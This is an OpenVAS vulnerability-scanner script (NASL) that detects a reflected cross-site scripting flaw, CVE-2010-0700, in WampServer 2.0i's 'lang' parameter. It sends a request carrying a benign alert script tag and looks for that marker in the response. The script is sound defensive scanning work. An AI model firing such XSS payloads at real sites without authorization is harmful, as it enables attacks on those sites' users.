##############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_wampserver_xss_vuln.nasl 7422 2010-03-01 12:33:29 mar $
#
# WampServer 'lang' Parameter Cross-site Scripting (XSS) Vulnerability
#
# Authors:
# Madhuri D <dmadhuri@secpod.com>
#
# Copyright:
# Copyright (c) 2010 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if(description)
{
  script_id(800298);
  script_version("$Revision: 7615 $: 1.0");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"risk_factor", value:"Medium");
  script_bugtraq_id(38357);
  script_cve_id("CVE-2010-0700");
  script_name("WampServer 'lang' Parameter Cross-site Scripting (XSS) Vulnerability");
  desc = "
  Overview: This host is running WampServer is prone to Cross-Site Scripting
  vulnerability.

  Vulnerability Insight:
  Input passed to the 'lang' parameter in index.php is not properly sanitised
  before being returned to the user.

  Impact:
  Successful exploitation will allow remote attackers to execute arbitrary HTML
  and script code in a user's browser session in the context of an affected
  application.

  Impact Level: Application.

  Affected Software :
  WampServer version 2.0i

  Fix: No solution or patch is available as on 26th February 2010. Information
  regarding this issue will be updated once the solution details are available.
  For updates refer, http://www.wampserver.com/en/index.php

  References:
  http://secunia.com/advisories/38706
  http://zeroscience.mk/codes/wamp_xss.txt
  http://zeroscience.mk/en/vulnerabilities/ZSL-2010-4926.php

  CVSS Score:
    CVSS Base Score      : 4.3 (AV:N/AC:M/Au:NR/C:N/I:P/A:N)
    CVSS Temporal Score  : 3.9
  Risk factor : Medium";

  script_description(desc);
  script_summary("Check for the version of WampServer");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2010 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_wampserver_detect.nasl");
  exit(0);
}


include("version_func.inc");
include("http_func.inc");

wampPort = get_http_port(default:80);
if(!wampPort){
  exit(0);
}

## Check Wamp Server is running
wampVer = get_kb_item("www/" + wampPort + "/WampServer");
if(!wampVer){
  exit(0);
}

## Construct Crafted(XSS) Requested
sndReq = http_get(item:string("/index.php?lang=<script>alert('OpenVAS_XSS_" +
                              "Testing')</script>"), port:wampPort);
rcvRes = http_send_recv(port:wampPort, data:sndReq);

## Check OpenVAS XSS Testing is present in the response
if("OpenVAS_XSS_Testing" >< rcvRes)
{
  security_warning(wampPort);
  exit(0);
}
